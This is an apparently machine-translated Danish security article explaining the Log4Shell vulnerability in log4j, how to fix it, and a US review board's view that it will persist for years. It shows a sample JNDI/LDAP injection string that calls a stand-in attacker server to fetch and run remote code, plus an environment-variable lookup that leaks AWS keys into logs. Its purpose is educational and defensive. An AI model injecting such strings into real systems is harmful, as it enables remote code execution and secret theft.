8 måneder senere siger USA, at Log4Shell vil eksistere i "et årti eller længere"

Huske Log4Shell?

Det var en farlig fejl i et populært open source Java-programmeringsværktøj kaldet log4j, forkortelse for "Logging for Java", udgivet af Apache Software Foundation under en liberal, gratis kildekodelicens.

Hvis du nogensinde har skrevet software af nogen art, lige fra den enkleste BAT-fil på en Windows-bærbar computer til den klogeste mega-applikation, der kører på et helt rack af servere, har du brugt loggekommandoer.

Fra basis output som f.eks echo "Starting calculations (this may take a while)" udskrevet på skærmen, hele vejen til formelle meddelelser gemt i en engangs-skrivedatabase af revisions- eller overholdelsesårsager, er logning en vital del af de fleste programmer, især når noget går i stykker, og du har brug for en klar registrering af præcis, hvor langt du nåede før problemet ramte.

Log4Shell sårbarhed (faktisk viste det sig, at der var flere relaterede problemer, men vi vil behandle dem alle, som om de var ét stort problem her, for nemheds skyld) viste sig at være halvt fejl, halvt funktion.

Med andre ord, Log4j gjorde, hvad den sagde i manualen, i modsætning til i en fejl som et bufferoverløb, hvor det fornærmende program fejlagtigt forsøger at rode rundt med data, det lovede, at det ville lade være...

…men medmindre du havde læst manualen omhyggeligt og selv taget yderligere forholdsregler ved at tilføje et lag af omhyggelig inputbekræftelse oven på Log4j, kunne din software løsne sig.

Virkelig, dårligt, fuldstændig ustabilt.

Interpolation anses for at være skadelig

Kort sagt, Log4j registrerede ikke altid log-beskeder nøjagtigt, som du leverede dem.

I stedet havde den en "funktion" kendt forskelligt og forvirrende i jargonen som interpolationen, kommando substitution or automatisk omskrivning, så du kan udløse tekstmanipulationsfunktioner inde i selve logningsværktøjet uden at skulle skrive din egen særlige kode for at gøre det.

For eksempel vil teksten i INPUT-kolonnen nedenfor blive logget bogstaveligt, præcis som du ser det, hvilket sandsynligvis er, hvad du ville forvente af et logningsværktøjssæt, især hvis du ønskede at holde en præcis registrering af de inputdata, som dine brugere præsenterede af lovmæssige årsager:

INDGANG UDKOMST ----------------------------------------------------- BRUGERNAVN =and -> BRUGERNAVN=and Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 Nuværende version = 17.0.1 -> Aktuel version = 17.0.1

Men hvis du indsendte tekst pakket ind i den magiske karaktersekvens ${...}, ville loggeren nogle gange gøre smarte ting med den, efter at have modtaget teksten, men før den faktisk skrev ind i logfilen, sådan her:

INPUT UDKOMM ---------------------------------- -------------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=Java-version 17.0.1/Windows 10 10.0 Serverkonto er: ${env:USER} -> Serverkonto er: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Det er klart, at hvis du accepterer logningstekst fra en pålidelig kilde, hvor det er rimeligt at tillade loggeren at kontrollere loggeren ved at bede den erstatte almindelig tekst med interne data, er denne form for tekstomskrivning nyttig.

Men hvis dit mål er at holde styr på data indsendt af en fjernbruger, måske til lovmæssige registreringsformål, er denne form for automatisk omskrivning dobbelt farlig:

• I tilfælde af en tvist, du har ikke en pålidelig registrering af, hvad brugeren faktisk har indsendt, da det kan være blevet ændret mellem input og output.
• En ondsindet bruger kan sende lusket konstruerede input for at provokere din server til at gøre noget, den ikke skulle.

Hvis du logger brugerinput, såsom deres browseridentifikationsstreng, kan du sige (kendt i jargonen som User-Agent), eller deres brugernavn eller telefonnummer, ønsker du ikke at give brugeren en chance for at narre dig til at skrive private data (såsom en hukommelsesadgangskodestreng som AWS_ACCESS_KEY_ID i eksemplet ovenfor) ind i en permanent logfil.

Især hvis du trygt har fortalt dine revisorer eller tilsynsmyndigheden, at du aldrig skriver klartekst-adgangskoder til permanent opbevaring. (Du skulle ikke gøre dette, selvom du ikke officielt har fortalt regulatoren, at du ikke gør det!)

Værre at komme

I Log4Shell is-it-a-bug-or-is-it-a-feature-sagen var tingene dog meget værre end de allerede risikable eksempler, vi har vist ovenfor.

For eksempel kan en bruger, der bevidst har indsendt data som input vist nedenfor, udløse en virkelig farlig sekvens af hændelser:

INPUT UDKOMM -------------------------------------------------- ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Download og kør et eksternt Java-program!?

I "interpolations"-strengen ovenfor er ${...} tegnsekvens, der inkluderer forkortelserne jndi , ldap fortalte Log4j at gøre dette:

• Brug Java Naming and Directory Interface (JNDI) at lokalisere dodgy.server.example online.
• Opret forbindelse til den server via LDAP, bruger TCP-port 8888.
• Anmod om data gemt i LDAP-objektet BadThing.

Med andre ord kunne angribere indsende specialfremstillede input, der ville instruere din server om at "ringe hjem" til en server under deres kontrol, uden så meget som en by-your-love.

Hvordan kunne dette være en "funktion"?

Du undrer dig måske over, hvordan en "funktion" som denne nogensinde kom ind i Log4j-koden.

Men denne form for tekstomskrivning kan være nyttig, så længe du logger data fra en pålidelig kilde.

For eksempel kan du logge et numerisk bruger-id, men også bede loggeren om at bruge LDAP (den letvægts biblioteksadgangsprotokol, meget brugt i branchen, herunder af Microsofts Active Directory-system) til at hente og gemme det brugernavn, der er knyttet til det pågældende kontonummer på det tidspunkt.

Dette ville forbedre både læsbarheden og den historiske værdi af posten i logfilen.

Men LDAP-serveren, som Log4j kaldte ud i eksemplet ovenfor (som blev valgt af fjernbrugeren, glem det ikke) er usandsynligt, at den kender sandheden, endsige at fortælle den, og en ondsindet bruger kunne derfor bruge dette trick. dine logfiler med falske og endda juridisk tvivlsomme data.

Endnu værre, LDAP-serveren kunne returnere prækompileret Java-kode til generering af de data, der skal logges, og din server ville pligtopfyldende køre det program – et ukendt program, leveret af en server, der ikke er tillid til, valgt af en bruger, der ikke er tillid til.

Løst sagt, hvis en server, hvor som helst i dit netværk, loggede upålidelige input, der var kommet ind udefra, og brugte Log4j til at gøre det...

… så kunne det input bruges som en direkte og umiddelbar måde at narre din server til at køre en andens kode, bare sådan.

Det hedder det RCE i jargonen, forkortelse for fjern kodeudførelse, og RCE-fejl er generelt de mest eftersøgte af cyberkriminelle, fordi de typisk kan udnyttes til automatisk at implantere malware.

Desværre betød arten af ​​denne fejl, at faren ikke var begrænset til internet-vendte servere, så brug af webservere skrevet i C, ikke Java (f.eks. IIS, Apache https, nginx), og derfor ikke selv brugte buggyen Log4j-kode, frigjorde dig ikke fra risiko.

I teorien kan enhver back-end Java-app, der modtog og loggede data fra andre steder på dit netværk, og som brugte Log4j-biblioteket...

… potentielt kan nås og udnyttes af eksterne angribere.

Rettelsen var ret ligetil:

• Find gamle versioner af Log4j hvor som helst og overalt i dit netværk. Java-moduler har typisk navne som f.eks log4j-api-2.14.0.jar , log4j-core-2.14.0.jarHvor jar er en forkortelse for Java arkiv, en specielt struktureret slags ZIP-fil. Med et søgbart præfiks, en definitiv udvidelse og versionsnummeret indlejret i filnavnet er det faktisk ret nemt at finde fornærmende filer med "de forkerte" versioner af Java-bibliotekskode.
• Udskift buggy-versionerne med nyere, lappede.
• Hvis du ikke var i stand til at ændre Log4J-versionen, du kan reducere eller fjerne risikoen ved at fjerne et enkelt kodemodul fra buggy Log4j-pakken (den Java-kode, der håndterede JNDI-opslag, som beskrevet ovenfor), og ompakke din egen slanke JAR-fil med fejlen undertrykt.

Sagaen fortsætter

Desværre er en nylig, detaljeret rapport på Log4Shell-sagaen, udgivet i sidste uge af USA Cybersecurity Review Board (CSRB), en del af Department of Homeland Security, indeholder det bekymrende forslag (vores fremhævelse nedenfor), at:

[T]han Log4j-begivenheden er ikke slut. [CSRB] vurderer, at Log4j er en "endemisk sårbarhed", og at sårbare forekomster af Log4j vil forblive i systemer i mange år fremover, måske et årti eller længere. Der er fortsat betydelig risiko.

Hvad skal jeg gøre?

På 42 sider (alene resuméet er på næsten tre sider), er den Bestyrelsens beretning er et langt dokument, og dele af det er tungt at gå.

Men vi anbefaler, at du læser den igennem, fordi det er en fascinerende fortælling om, hvordan selv cybersikkerhedsproblemer, der burde være hurtige og nemme at løse, kan blive ignoreret, eller udskudt til senere, eller lige så godt som afvist helt som "en andens problem" at rette.

Bemærkelsesværdige forslag fra den amerikanske offentlige tjeneste, som vi helhjertet støtter, omfatter::

• Udvikle kapaciteten til at opretholde en nøjagtig informationsteknologi (IT) aktiv og applikationsbeholdning.
• [Set up a] dokumenteret sårbarhedsresponsprogram.
• [Opsæt en] dokumenteret afsløring af sårbarhed og håndteringsproces.

Når det kommer til cybersikkerhed, så spørg ikke, hvad alle andre kan gøre for dig...

…men tænk på, hvad du kan gøre for dig selv, for enhver forbedring, du laver, vil næsten helt sikkert gavne alle andre også.

---

[Indlejret indhold]

---